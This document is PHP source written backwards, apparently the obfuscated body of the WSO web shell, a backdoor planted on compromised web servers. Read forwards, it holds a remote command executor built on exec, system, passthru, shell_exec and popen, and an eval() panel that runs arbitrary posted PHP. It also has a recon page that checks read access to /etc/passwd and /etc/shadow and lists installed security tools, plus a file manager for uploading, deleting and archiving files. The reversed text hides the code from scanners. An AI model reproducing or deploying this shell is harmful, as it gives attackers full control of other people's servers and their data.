))'xeh2iicsa'(stsixe_noitcnuf!(fi\t\r\n}};r\$ nruter};))]1+i\$[p\$.]i\$[p\$(cedxeh(rhc=.r\${)2=+i\$;)p\$(neLrts<i\$;0=i\$(rof;''=r\${)p\$(iicsa2xeh noitcnuf{ ))'iicsa2xeh'(stsixe_noitcnuf!(fi\t\r\n}};))p\$(cednib(xehced nruter{ )p\$(xehnib noitcnuf{ ))'xehnib'(stsixe_noitcnuf!(fi \r\n}};))p\$(cedxeh(nibced nruter{ )p\$(nib2xeh noitcnuf{ ))'nib2xeh'(stsixe_noitcnuf!(fi\t\r\n{ )(slooTgnirtSnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;\">vid/<>elbat/<>mrof/<>rt/<>dt/<>'>>'=eulav 'timbus'=epyt tupni<\" ohce \r\n;\";psbn&>'\" . )'zg.rat':'piz'?'piz' == ]'tca'[EIKOOC_\$( . \".\" . )\"siH_dmY\"(etad . \"_osw'=eulav 2p=eman txet=epyt tupni< :eman elif\" ohce \r\n)))'rat' == ]'tca'[EIKOOC_\$( || )'piz' == ]'tca'[EIKOOC_\$(( && )]'f'[EIKOOC_\$(tnuoc@ && )]'tca'[EIKOOC_\$(ytpme!(fi \r\n;\";psbn&>tceles/<\" ohce \r\n;\">noitpo/<sserpmoC / etsaP>'etsap'=eulav noitpo<\" ohce \r\n))]'f'[EIKOOC_\$(tnuoc@ && )]'tca'[EIKOOC_\$(ytpme!(fi \r\n;\">noitpo/<)zg.rat( sserpmoC>'rat'=eulav noitpo<\" ohce \r\n;\">noitpo/<)piz( sserpmocnU>'piznu'=eulav noitpo<>noitpo/<)piz( sserpmoC>'piz'=eulav noitpo<\" ohce \r\n))'evihcrApiZ'(stsixe_ssalc(fi \r\n;\">noitpo/<eteleD>'eteled'=eulav noitpo<>noitpo/<evoM>'evom'=eulav noitpo<>noitpo/<ypoC>'ypoc'=eulav noitpo<>'1p'=eman tceles<\t\r\n>'\".)'':]'tesrahc'[TSOP_\$?)]'tesrahc'[TSOP_\$(tessi( .\"'=eulav tesrahc=eman neddih=epyt tupni<\t\r\n>'\". )]'dwc'[SLABOLG\$(srahclaicepslmth . \"'=eulav c=eman neddih=epyt tupni<\t\r\n>'naMseliF'=eulav a=eman neddih=epyt tupni<\t\r\n>7=napsloc dt<>rt<\" ohce\t\r\n}\t\r\n;1:0?l\$ = l\$\t\t\r\n;'>rt/<>dt/<'.)'':'>a/<D>\")'\\daolnwod'\\ ,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g\"=kcilcno \"#\"=ferh a< >a/<E>\")'\\tide'\\ ,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g\"=kcilcno \"#\"=ferh a< '?)'elif'==]'epyt'[f\$((.'>a/<T>\")'\\hcuot'\\ ,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g\"=kcilcno \"#\"=ferh a< >a/<R>\")'\\emaner'\\ ,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g\"=kcilcno \"#\"=ferh a<>dt<>dt/<'.\t\t\t\r\n]'smrep'[f\$.'>\")'\\domhc'\\,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g\"=kcilcno #=ferh a<>dt<>dt/<'.]'puorg'[f\$.'/'.]'renwo'[f\$.'>dt<>dt/<'.]'yfidom'[f\$.'>dt<>dt/<'.)]'epyt'[f\$:)]'ezis'[f\$(eziSweiVosw?)'elif'==]'epyt'[f\$((.'>dt<>dt/<>a/<'.)'>b/<] ' . )]'eman'[f\$(srahclaicepslmth . ' [>b<>' . )\"'}]'knil'[f\${'=eltit\" : '' ? )]'knil'[f\$( ytpme( . ' \";)'\\'.]'htap'[f\$.''\\,'\\naMseliF'\\(g':)]'eman'[f\$(srahclaicepslmth.'>\")'\\weiv'\\ ,'\\'.)]'eman'[f\$(edocnelru.''\\,llun,'\\slooTseliF'\\(g'?)'elif'==]'epyt'[f\$((.'\"=kcilcno #=ferh a<>dt<>dt/<>xbkhc=ssalc \"'.)]'eman'[f\$(edocnelru.'\"=eulav \"][f\"=eman xobkcehc=epyt tupni<>dt<>'.)'':'1l=ssalc '?l\$(.'rt<' ohce\t\t\r\n{ )f\$ sa selif\$(hcaerof\t\r\n;0 = l\$\t\r\n;)selif\$ ,srid\$(egrem_yarra = selif\$\t\r\n;)\"pmCosw\" ,srid\$(trosu\t\r\n;)\"pmCosw\" ,selif\$(trosu\t\r\n}\t\r\n;)1-:1?]1[]'tros'[SLABOLG\$(*)1 : 1- ? )]'ezis'[b\$ < ]'ezis'[a\$(( nruter\t\t\t\r\nesle\t\t\r\n;)1-:1?]1[]'tros'[SLABOLG\$(*))]]0[]'tros'[SLABOLG\$[b\$(rewolotrts ,)]]0[]'tros'[SLABOLG\$[a\$(rewolotrts(pmcrts nruter\t\t\t\r\n)'ezis' =! ]0[]'tros'[SLABOLG\$(fi\t\t\r\n{ )b\$ ,a\$(pmCosw noitcnuf\t\r\n;tros\$ = ]'tros'[SLABOLG\$\t\r\n}\t\r\n;))'rid' >= 'epyt'(yarra ,pmt\$(egrem_yarra = ][srid\$\t\t\t\r\n))]i\$[tnetnoCrid\$ . ]'dwc'[SLABOLG\$(rid_si@(fiesle\t\t\r\n;)))]'htap'[pmt\$(knildaer >= 'knil' ,'knil' >= 'epyt'(yarra ,pmt\$(egrem_yarra = ][srid\$\t\t\t\r\n))]i\$[tnetnoCrid\$ . ]'dwc'[SLABOLG\$(knil_si@(fiesle\t\t\r\n;))'elif' >= 'epyt'(yarra ,pmt\$(egrem_yarra = ][selif\$\t\t\t\r\n))]i\$[tnetnoCrid\$ . ]'dwc'[SLABOLG\$(elif_si@(fi\t\t\r\n;)\t\t\t\t\t\r\n)]i\$[tnetnoCrid\$(puorgelif@:]'eman'[rg\$?]'eman'[rg\$ >= 'puorg' \t\t\t\t\t\r\n,)]i\$[tnetnoCrid\$(renwoelif@:]'eman'[wo\$?]'eman'[wo\$ >= 'renwo' \t\t\t\t\t\r\n,)]i\$[tnetnoCrid\$.]'dwc'[SLABOLG\$(eziselif@ >= 'ezis' \t\t\t\t\t\r\n,)]i\$[tnetnoCrid\$ . ]'dwc'[SLABOLG\$(roloCsmrePosw >= 'smrep' \t\t\t\t\t\r\n,))]i\$[tnetnoCrid\$ . ]'dwc'[SLABOLG\$(emitmelif@ ,'s:i:H d-m-Y'(etad >= 'yfidom' \t\t\t\t\t\r\n,]i\$[tnetnoCrid\$.]'dwc'[SLABOLG\$ >= 'htap' \t\t\t\t\t\r\n,]i\$[tnetnoCrid\$ >= 'eman'(yarra = pmt\$\t\t\r\n;))]i\$[tnetnoCrid\$(puorgelif@(digrgteg_xisop@ = rg\$\t\t\r\n;))]i\$[tnetnoCrid\$(renwoelif@(diuwpteg_xisop@ = wo\$\t\t\r\n{ )++i\$;n\$<i\$;0=i\$(rof\t\r\n;)tnetnoCrid\$(tnuoc = n\$\t\r\n;)(yarra = selif\$ = srid\$\t\r\n;\">rt/<>ht/<snoitcA>ht<>ht/<>a/<snoissimreP>')\"\\\".)1:0?]1[tros\$(.\"_smrep_s\"\\,llun,\"\\naMseliF\"\\(g'=kcilcno '#'=ferh a<>ht<>ht/<puorG/renwO>ht<>ht/<>a/<yfidoM>')\"\\\".)1:0?]1[tros\$(.\"_yfidom_s\"\\,llun,\"\\naMseliF\"\\(g'=kcilcno '#'=ferh a<>ht<>ht/<>a/<eziS>')\"\\\".)1:0?]1[tros\$(.\"_ezis_s\"\\,llun,\"\\naMseliF\"\\(g'=kcilcno '#'=ferh a<>ht<>ht/<>a/<emaN>')\"\\\".)1:0?]1[tros\$(.\"_eman_s\"\\,llun,\"\\naMseliF\"\\(g'=kcilcno '#'=ferh a<>ht<>ht/<>xbkhc=ssalc ')(as'=kcilcno xobkcehc=epyt tupni<>'xp31'=htdiw ht<>rt<>tsop=dohtem selif=eman mrof<\r\n>'2'=gniddapllec '0'=gnicapsllec 'niam'=ssalc '%001'=htdiw elbat<\r\n>tpircs/<\r\n}\t\r\n;dekcehc.]0[stnemele.selif.d = dekcehc.]i[stnemele.selif.d\t\t\t\t\r\n)'xobkcehc' == epyt.]i[stnemele.selif.d(fi\t\t\t\r\n)++i;htgnel.stnemele.selif.d<i;0=i(rof\t\t\r\n{ )(as noitcnuf\t\r\n>tpircs<\" ohce\r\n}\t\r\n;)]2[hctam\$)tni( ,]1[hctam\$(yarra = tros\$\t\t\t\r\n))hctam\$ ,]'1p'[TSOP_\$ ,'!)}1{d\\(_)+]z-A[(_s!'(hctam_gerp(fi\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi\t\r\n;)1 ,'eman'(yarra = tros\$\t\r\n;tros\$ labolg\t\r\n} ;nruter ;)(retooFosw;'!redlof siht nepo t'\\naC' ohce\t{ )eslaf === tnetnoCrid\$(fi\t\r\n;)]'dwc'[SLABOLG\$:]'c'[TSOP_\$?)]'c'[TSOP_\$(tessi(ridnacSosw = tnetnoCrid\$\t\r\n;'>tpircs/<;\"\"=_3p=_2p=_1p>tpircs<>tnetnoc=ssalc vid<>1h/<reganam eliF>1h<' ohce\t\r\n;)(redaeHosw \r\n}\t\r\n}\t\t\r\n;kaerb\t\t\t\t\r\n}\t\t\t\t\r\n;)]'c'[TSOP_\$@ ,'c'(eikooctesOSW\t\t\t\t\t\r\n;))]'f'[TSOP_\$@(ezilaires ,'f'(eikooctesOSW\t\t\t\t\t\r\n;)]'1p'[TSOP_\$ ,'tca'(eikooctesOSW\t\t\t\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi \r\n:tluafed\t\t\t\r\n;kaerb\t\t\t\t\r\n;)0063 - )(emit ,'' ,'f'(eikooctes \r\n;)]'f'[EIKOOC_\$(tesnu\t\t\t\t\r\n}\t\t\t\t\r\n;)]'dwc'[SLABOLG\$(ridhc \r\n;))]'f'[EIKOOC_\$ ,' '(edolpmi . ' ' . )]'2p'[TSOP_\$(grallehsepacse . ' vzfc rat'(xEosw \r\n;)]'f'[EIKOOC_\$ ,'grallehsepacse'(pam_yarra = ]'f'[EIKOOC_\$ \r\n;)]'c'[EIKOOC_\$(ridhc \r\n{ )'rat' == ]'tca'[EIKOOC_\$(fiesle }\t\t\t\t\r\n} \r\n} \r\n} \r\n;)(esolc>-piz\$ \r\n;)]'dwc'[SLABOLG\$(oTtcartxe>-piz\$ \r\n{ ))f\$.]'c'[EIKOOC_\$(nepo>-piz\$(fi \r\n{ )f\$ sa ]'f'[EIKOOC_\$(hcaerof \r\n;)(evihcrApiZ wen = piz\$ \r\n{ ))'evihcrApiZ'(stsixe_ssalc(fi\t\t\t\t\t\r\n{ )'piznu' == ]'tca'[EIKOOC_\$(fiesle }\t\t\t\t\r\n} \r\n} \r\n;)(esolc>-piz\$ \r\n;)]'dwc'[SLABOLG\$(ridhc \r\n} \r\n} \r\n} \r\n;)yek\$ ,)yek\$(htaplaer(eliFdda>-piz\$ \r\n{ )eulav\$>=yek\$ sa rotareti\$( hcaerof \r\n;))STOD_PIKS::rotaretImetsyseliF ,'/'.f\$(rotaretIyrotceriDevisruceR wen(rotaretIrotaretIevisruceR wen = rotareti\$ \r\n{ ))f\$.]'c'[EIKOOC_\$(rid_si@(fiesle \r\n;)f\$ ,f\$.]'c'[EIKOOC_\$(eliFdda>-piz\$ \r\n))f\$.]'c'[EIKOOC_\$(elif_si@(fi \r\n;eunitnoc \r\n)'..' == f\$(fi \r\n{ )f\$ sa ]'f'[EIKOOC_\$(hcaerof \r\n;)]'c'[EIKOOC_\$(ridhc \r\n{ ))1 ,]'2p'[TSOP_\$(nepo>-piz\$( fi \r\n;)(evihcrApiZ wen = piz\$ \r\n{ ))'evihcrApiZ'(stsixe_ssalc(fi\t\t\t\t\t\r\n{ )'piz' == ]'tca'[EIKOOC_\$(fiesle }\t\t\t\t\r\n;)f\$.]'dwc'[SLABOLG\$ ,f\$.]'c'[EIKOOC_\$(emaner@\t\t\t\t\t\t\r\n)f\$ sa ]'f'[EIKOOC_\$(hcaerof\t\t\t\t\t\r\n}\t\t\t\t\t\r\n;)s\$.d\$ ,s\$.c\$(ypoc@\t\t\t\t\t\t\t\r\n))s\$.c\$(elif_si@(fiesle }\t\t\t\t\t\t\r\n;)'/'.s\$.d\$ ,f\$,'/'.s\$.c\$(etsap_ypoc\t\t\t\t\t\t\t\t\t\r\n))\"..\" =! f\$( dna )\".\" =! f\$(( fi\t\t\t\t\t\t\t\t\r\n)eslaf ==! ))h\$(riddaer@ = f\$(( elihw\t\t\t\t\t\t\t\r\n;)s\$.c\$(ridnepo@ = h\$\t\t\t\t\t\t\t\r\n;)s\$.d\$(ridkm\t\t\t\t\t\t\t\r\n{))s\$.c\$(rid_si(fi\t\t\t\t\t\t\r\n{)d\$,s\$,c\$(etsap_evom noitcnuf\t\t\t\t\t\r\n{ )'evom' == ]'tca'[EIKOOC_\$(fiesle }\t\t\t\t\r\n;)]'dwc'[SLABOLG\$ ,f\$,]'c'[EIKOOC_\$(etsap_ypoc\t\t\t\t\t\t\r\n)f\$ sa ]'f'[EIKOOC_\$(hcaerof\t\t\t\t\t\r\n}\t\t\t\t\t\r\n;)s\$.d\$ ,s\$.c\$(ypoc@\t\t\t\t\t\t\t\r\n))s\$.c\$(elif_si(fiesle }\t\t\t\t\t\t\r\n;)'/'.s\$.d\$ ,f\$,'/'.s\$.c\$(etsap_ypoc\t\t\t\t\t\t\t\t\t\r\n))\"..\" =! f\$( dna )\".\" =! f\$(( fi\t\t\t\t\t\t\t\t\r\n)eslaf ==! ))h\$(riddaer@ = f\$(( elihw\t\t\t\t\t\t\t\r\n;)s\$.c\$(ridnepo@ = h\$\t\t\t\t\t\t\t\r\n;)s\$.d\$(ridkm\t\t\t\t\t\t\t\r\n{))s\$.c\$(rid_si(fi\t\t\t\t\t\t\r\n{)d\$,s\$,c\$(etsap_ypoc noitcnuf\t\t\t\t\t\r\n{ )'ypoc' == ]'tca'[EIKOOC_\$(fi\t\t\t\t\r\n:'etsap' esac\t\t\t\r\n;kaerb\t\t\t\t\r\n}\t\t\t\t\t\r\n;)f\$(knilnu@\t\t\t\t\t\t\t\r\nesle\t\t\t\t\t\t\r\n;)f\$(riDeteled\t\t\t\t\t\t\t\r\n))f\$(rid_si(fi\t\t\t\t\t\t\r\n;)f\$(edocedlru = f\$\t\t\t\t\t\t\r\n;eunitnoc \r\n)'..' == f\$(fi \r\n{ )f\$ sa ]'f'[TSOP_\$(hcaerof\t\t\t\t\t\r\n))]'f'[TSOP_\$@(yarra_si(fi\t\t\t\t\r\n}\t\t\t\t\r\n;)htap\$(ridmr@\t\t\t\t\t\r\n;)hd\$(ridesolc\t\t\t\t\t\r\n}\t\t\t\t\t\r\n;)meti\$(knilnu@\t\t\t\t\t\t\t\r\nesle\t\t\t\t\t\t\r\n;)meti\$(riDeteled\t\t\t\t\t\t\t\r\n)\"rid\" == epyt\$( fi\t\t\t\t\t\t\r\n;)meti\$(epytelif = epyt\$\t\t\t\t\t\t\r\n;eunitnoc\t\t\t\t\t\t\t\r\n) )\".\" == )meti\$(emanesab( || )\"..\" == )meti\$(emanesab( ( fi\t\t\t\t\t\t\r\n;meti\$.htap\$ = meti\$\t\t\t\t\t\t\r\n{ )eslaf ==! ) )hd\$(riddaer = meti\$( ( elihw\t\t\t\t\t\r\n;)htap\$(ridnepo = hd\$\t\t\t\t\t\r\n;'/'.htap\$:htap\$ ? )'/'==)1-,htap\$(rtsbus( = htap\$\t\t\t\t\t\r\n{ )htap\$(riDeteled noitcnuf\t\t\t\t\r\n:'eteled' esac\t\t\t\r\n;kaerb\t\t\t\t\r\n;\"rid wen etaerc t'naC\" ohce\t\t\t\t\t\r\n))]'2p'[TSOP_\$(ridkm@!(fi\t\t\t\t\r\n:'ridkm' esac\t\t\t\r\n;kaerb\t\t\t\t\r\n;\"!elif daolpu t'naC\" ohce\t\t\t\t\t\r\n))]'eman'[]'f'[SELIF_\$ ,]'eman_pmt'[]'f'[SELIF_\$(elif_dedaolpu_evom@!(fi\t\t\t\t\r\n:'eliFdaolpu' esac\t\t\t\r\n{ )]'1p'[TSOP_\$(hctiws\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi\t\r\n \r\n;)]'f'[EIKOOC_\$(ezilairesnu@ = ]'f'[EIKOOC_\$ \r\n))]'f'[EIKOOC_\$( ytpme!( fi \r\n{ )(naMseliFnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<>erp/<' ohce\t\r\n}\t\r\n;))(naelc_teg_bo(srahclaicepslmth ohce\t\t\r\n;)]'1p'[TSOP_\$(lave\t\t\r\n;)(trats_bo\t\t\r\n{ ))]'1p'[TSOP_\$(ytpme!(fi\t\r\n;'>1lm=ssalc \";xp5:pot-nigram'.)'':';enon:yalpsid'?)]'1p'[TSOP_\$(ytpme(.'\"=elyts tuptuOphP=di erp<>mrof/<XAJA gnisu dnes > 1=eulav xaja=eman xobkcehc=epyt tupni< ' ohce\t\r\n;'>\"xp5:pot-nigram\"=elyts lavE=eulav timbus=epyt tupni<>aeratxet/<'.)'':)]'1p'[TSOP_\$(srahclaicepslmth?)]'1p'[TSOP_\$(ytpme!(.'>edoCphP=di aeragib=ssalc edoc=eman aeratxet<>\";eslaf nruter};)'\\'\\,eulav.edoc.siht,llun,'\\phP'\\(g{esle};)eulav.edoc.siht,llun,'\\phP'\\(a{)dekcehc.xaja.siht(fi\"=timbusno tsop=dohtem fp=eman mrof<>tnetnoc=ssalc vid<>1h/<edoc-PHP noitucexE>1h<' ohce \r\n}\t\r\n;'>rb<>vid/<'. )pmt\$ ,'2h<','1h<'(ecalper_rts ohce\t\t\r\n;)pmt\$ ,) \r\n'' \r\n,'}1\${ ht h. ,h. ,v. ,e.' \r\n,'' \r\n( yarra ,) \r\n,'Uism!>+]>^[gmi<!' \r\n,'Uism!})*.({ ht ,dt!' \r\n,'Uism!}*.{ )2h ,1h ,ht ,dt ,ydob|+w\\:a|ydob(!' \r\n( yarra(ecalper_gerp = pmt\$ \r\n;)(naelc_teg_bo = pmt\$\t\t\r\n;)(ofniphp\t\t\r\n;)(trats_bo\t\t\r\n;'>elyts/<};000#:roloc{ p.>elyts<>tnetnoc=ssalc vid<>1h/<ofni PHP>1h<' ohce\t\t\r\n{ ))'ofni' == ]'2p'[TSOP_\$( && )]'2p'[TSOP_\$(tessi(fi\t\r\n;)(redaeHosw\t\r\n\r\n;)0 ,'xaja' . )]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW \r\n))]'1p'[TSOP_\$(ytpme! && )]'xaja'[TSOP_\$(ytpme(fi \r\n}\t\r\n;tixe\t\t\r\n;pmet\$ ,\"n\\\" ,)pmet\$(nelrts ohce\t\t\r\n;\"n\\;'\" . )\"0\\'\\\\t\\r\\n\\\" ,))(naelc_teg_bo(srahclaicepslmth(sehsalscdda . \"'=LMTHrenni.)'tuptuOphP'(dIyBtnemelEteg.tnemucod;''=yalpsid.elyts.)'tuptuOphP'(dIyBtnemelEteg.tnemucod\" = pmet\$\t\t\r\n;)]'1p'[TSOP_\$(lave\t\t\r\n;)(trats_bo\t\t\r\n;)eurt ,'xaja' . )]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW \r\n{ ))]'xaja'[TSOP_\$(tessi(fi\t\r\n{ )(phPnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<' ohce\t\r\n}\t\r\n;))'resu ten'(xEosw,'stnuoccA resU'(maraPceSosw\t\t\r\n;))'stnuocca ten'(xEosw,'sgnitteS tnuoccA'(maraPceSosw\t\t\r\n;))'rev'(xEosw,'noisreV SO'(maraPceSosw\t\t\r\n{ esle }\t\r\n} \r\n} \r\n;)pmet\$ ,'sresU'(maraPceSosw \r\n;'>/rb<' ohce \r\n} \r\n;\"n\\\".)diu\$,':'(nioj =. pmet\$ \r\n)diu\$( fi \r\n;)]'2p'[TSOP_\$(diuwpteg_xisop@ = diu\$ \r\n{ )++]'2p'[TSOP_\$;]'3p'[TSOP_\$ =< ]'2p'[TSOP_\$;(rof \r\n;\"\" = pmet\$ \r\n{ ))]'3p'[TSOP_\$(ciremun_si && )]'2p'[TSOP_\$(ciremun_si && )]'3p'[TSOP_\$ ,]'2p'[TSOP_\$( tessi( fi \r\n;'>mrof/<>\">>\"=eulav timbus=epyt tupni<>elbat/<>rt/<>dt/<>0001=eulav 2marap=eman txet=epyt tupni<>dt<>dt/<oT>dt<>rt<>rt/<>dt/<>0=eulav 1marap=eman txet=epyt tupni<>dt<>dt/<morF>dt<>rt<>'\\;eslaf nruter;)eulav.2marap.siht,eulav.1marap.siht,\"5\",llun,llun(g'\\=timbusno mrof<>elbat<>naps/<)dwssap/cte/ \"daeR\"( diuwpteg_xisop>naps<>/rb<' ohce \r\n;))'stsoh/cte/'(stnetnoc_teg_elif@ ,'stsoH'(maraPceSosw \r\n;))'h- fd'(xEosw ,'ecaps DDH'(maraPceSosw \r\n;'>/rb<' ohce \r\n;))pmet\$,' ,'(edolpmi ,'sredaolnwoD'(maraPceSosw \r\n;meti\$ = ][pmet\$ \r\n))meti\$(hcihWosw(fi \r\n)meti\$ sa sredaolnwod\$( hcaerof \r\n;)(yarra=pmet\$ \r\n;))pmet\$,' ,'(edolpmi ,'regnaD'(maraPceSosw \r\n;meti\$ = ][pmet\$ \r\n))meti\$(hcihWosw(fi \r\n)meti\$ sa regnad\$( hcaerof \r\n;)(yarra=pmet\$ \r\n;))pmet\$,' ,'(edolpmi ,'lufresU'(maraPceSosw \r\n;meti\$ = ][pmet\$ \r\n))meti\$(hcihWosw(fi \r\n)meti\$ sa lufresu\$( hcaerof \r\n;)(yarra=pmet\$ \r\n;'>rb<' ohce \r\n;)'rorrim-pwl','teg','lruc','sknil','xnyl','hctef','tegw'(yarra = sredaolnwod\$ \r\n;)'ajnin','nacsmrow','llimwas','pacsbmz','ksamsys','hctawgol','kcehcgol','dixs','gdolpct','mdasdil','cesso','trons','yrtnestrop','ccdleihs','eriwpirt','wfpi','selbatpi','tiktoorkhc','retnuhkr','dmalc','dbewrd','vas','nacsvu','derocdb','23don','vak'(yarra = regnad\$ \r\n;)'lrepdius','etacol','cn','2pizb','pizb','pizg','rat','ybur','nohtyp','lrep','php','ekam','dl','cc','ccl','ccg'(yarra = lufresu\$ \r\n{ )]'edom_efas'[SLABOLG\$!(fi \r\n;))'ten.eussi/cte/'(stnetnoc_teg_elif@ ,'eman rtsiD'(maraPceSosw \r\n;))'noisrev/corp/'(stnetnoc_teg_elif@ ,'noisrev SO'(maraPceSosw \r\n;)'on':\">a/<]weiv[>')\"\\wodahs\"\\ ,\"\\/cte/\"\\ ,\"\\slooTseliF\"\\(g'=kcilcno '#'=ferh a< sey\"?)'wodahs/cte/'(elbadaer_si@ ,'wodahs/cte/ elbadaeR'(maraPceSosw \r\n;)'on':\">a/<]weiv[>')\"\\dwssap\"\\ ,\"\\/cte/\"\\ ,\"\\slooTseliF\"\\(g'=kcilcno '#'=ferh a< sey\"?)'dwssap/cte/'(elbadaer_si@ ,'dwssap/cte/ elbadaeR'(maraPceSosw \r\n{ )'xin' == ]'so'[SLABOLG\$(fi\t\r\n\r\n;'>rb<' ohce\t\r\n;))pmet\$ ,' ,'(edolpmi ,'sesabatad detroppuS'(maraPceSosw\t\r\n;\"elcarO\" = ][pmet\$\t\t\r\n))'tcennoc_ico'(stsixe_noitcnuf(fi\t\r\n;\"LQSergtsoP\" = ][pmet\$\t\t\r\n))'tcennoc_gp'(stsixe_noitcnuf(fi\t\r\n;\"LQSSM\" = ][pmet\$\t\t\r\n))'tcennoc_lqssm'(stsixe_noitcnuf(fi\t\r\n;\")\".)(ofni_tneilc_teg_lqsym.\"( lqSyM\" = ][pmet\$\t\t\r\n))'ofni_tneilc_teg_lqsym'(stsixe_noitcnuf(fi\t\r\n;)(yarra=pmet\$\t\r\n;)'on':'delbane'?)'noisrev_lruc'(stsixe_noitcnuf ,'troppus LRUc'(maraPceSosw\t\r\n;))'rid_edulcni_edom_efas'(teg_ini@ ,'rid edulcni edom efaS'(maraPceSosw\t\r\n;))'rid_cexe_edom_efas'(teg_ini@ ,'rid cexe edom efaS'(maraPceSosw\t\r\n;))'ridesab_nepo'(teg_ini@ ,'rid esab nepO'(maraPceSosw\t\r\n;)'enon':]'snoitcnuf_elbasid'[SLABOLG\$?]'snoitcnuf_elbasid'[SLABOLG\$ ,'snoitcnuF PHP delbasiD'(maraPceSosw\t\r\n;)))(seludom_teg_ehcapa ,' ,'(edolpmi ,'seludom ehcapA dedaoL'(maraPceSosw \r\n))'seludom_teg_ehcapa'(stsixe_noitcnuf(fi \r\n;))'ERAWTFOS_REVRES'(vneteg@ ,'erawtfos revreS'(maraPceSosw\t\r\n\r\n}\t\r\n}\t\t\r\n;'>erp/<' . v\$ . '>1lm=ssalc erp<' ohce\t\t\t\t\r\nesle\t\t\t\r\n;'>rb<' . v\$ ohce\t\t\t\t\r\n)eslaf === )\"n\\\" ,v\$(soprts(fi\t\t\t\r\n;'>naps/< :' . n\$ . '>naps<' ohce\t\t\t\r\n{ )v\$(fi\t\t\r\n;)v\$(mirt = v\$\t\t\r\n{ )v\$ ,n\$(maraPceSosw noitcnuf\t\r\n;'>tnetnoc=ssalc vid<>1h/<noitamrofni ytiruces revreS>1h<' ohce\t\r\n;)(redaeHosw\t\r\n{ )(ofnIceSnoitca noitcnuf\r\n\r\n}\r\n;eslaf nruter\t\r\n;htap\$ nruter\t\t\r\n))htap\$(ytpme!(fi\t\r\n;)p\$ . ' hcihw'(xEosw = htap\$\t\r\n{ )p\$(hcihWosw noitcnuf\r\n\r\n}\r\n} \r\n;selif\$ nruter \r\n;emanelif\$ = ][selif\$ \r\n)))hd\$(riddaer = emanelif\$( ==! eslaf( elihw \r\n;)rid\$(ridnepo = hd\$ \r\n{ esle } \r\n;)rid\$(ridnacs nruter \r\n{ ))\"ridnacs\"(stsixe_noitcnuf(fi \r\n{ )rid\$(ridnacSosw noitcnuf\r\n\r\n}\r\n;'>tnof/<' . ))f\$(smrepelif@(smrePosw . '>00ff52#=roloc tnof<' nruter\t\t\r\nesle\t\r\n;'>tnof/<' . ))f\$(smrepelif@(smrePosw . '>etihw=roloc tnof<' nruter\t\t\r\n))f\$(elbatirw_si@!( fiesle\t\r\n;'>tnof/<' . ))f\$(smrepelif@(smrePosw . '>0000FF#=roloc tnof<' nruter\t\t\r\n))f\$(elbadaer_si@!( fi\t\r\n{ )f\$(roloCsmrePosw noitcnuf\r\n\r\n}\r\n;i\$ nruter\t\r\n;))'-' : 'T' ? )0020x0 & p\$(( : ) 'x' : 't' ? )0020x0 & p\$(( ? )1000x0 & p\$(( =. i\$\t\r\n;)'-' : 'w' ? )2000x0 & p\$(( =. i\$\t\r\n;)'-' : 'r' ? )4000x0 & p\$(( =. i\$\t\r\n;))'-' : 'S' ? )0040x0 & p\$(( : ) 'x' : 's' ? )0040x0 & p\$(( ? )8000x0 & p\$(( =. i\$\t\r\n;)'-' : 'w' ? )0100x0 & p\$(( =. i\$\t\r\n;)'-' : 'r' ? )0200x0 & p\$(( =. i\$\t\r\n;))'-' : 'S' ? )0080x0 & p\$(( : ) 'x' : 's' ? )0080x0 & p\$(( ? )0400x0 & p\$(( =. i\$\t\r\n;)'-' : 'w' ? )0800x0 & p\$(( =. i\$\t\r\n;)'-' : 'r' ? )0010x0 & p\$(( =. i\$\t\r\n;'u' = i\$ esle\t\r\n;'p' = i\$)0001x0 == )0001x0 & p\$(( fiesle\t\r\n;'c' = i\$)0002x0 == )0002x0 & p\$(( fiesle\t\r\n;'d' = i\$)0004x0 == )0004x0 & p\$(( fiesle\t\r\n;'b' = i\$)0006x0 == )0006x0 & p\$(( fiesle\t\r\n;'-' = i\$)0008x0 == )0008x0 & p\$(( fiesle\t\r\n;'l' = i\$)000Ax0 == )000Ax0 & p\$(( fiesle\t\r\n;'s' = i\$)000Cx0 == )000Cx0 & p\$(( fi\t\r\n{ )p\$(smrePosw noitcnuf\r\n\r\n}\r\n;'B ' . s\$ nruter\t\t\r\nesle\t\r\n;'BK ' . ) 4201 / s\$ ,'f2.1%'(ftnirps nruter\t\t\r\n)4201 => s\$(fiesle\t\r\n;'BM ' . ) 6758401 / s\$ ,'f2.1%'(ftnirps nruter\t\t\r\n)6758401 => s\$(fiesle\t\r\n;'BG ' .) 4281473701 / s\$ ,'f2.1%'(ftnirps nruter\t\t\r\n)4281473701 => s\$(fi\t\r\n \r\n;)s\$ ,\"u%\"(ftnirps = s\$ \r\n))s\$(tni_si( fi \r\n{ )s\$(eziSweiVosw noitcnuf\r\n\r\n}\r\n;tuo\$ nruter\t\r\n}\t\r\n;)f\$(esolcp\t\t\r\n;)4201,f\$(daerf =. tuo\$\t\t\t\r\n))f\$(foef@!(elihw\t\t\r\n;\"\" = tuo\$\t\t\r\n{ )))\"r\",ni\$(nepop@ = f\$(ecruoser_si( fiesle }\t\r\n;)ni\$(cexe_llehs = tuo\$\t\t\r\n{ ))'cexe_llehs'(stsixe_noitcnuf( fiesle }\t\r\n;)(naelc_teg_bo = tuo\$\t\t\r\n;)ni\$(metsys@\t\t\r\n;)(trats_bo\t\t\r\n{ ))'metsys'(stsixe_noitcnuf( fiesle }\t\r\n;)(naelc_teg_bo = tuo\$\t\t\r\n;)ni\$(urhtssap@\t\t\r\n;)(trats_bo\t\t\r\n{ ))'urhtssap'(stsixe_noitcnuf( fiesle }\t\r\n;)tuo\$,\"n\\\"(nioj@ = tuo\$\t\t\r\n;)tuo\$,ni\$(cexe@\t\t\r\n{ ))'cexe'(stsixe_noitcnuf( 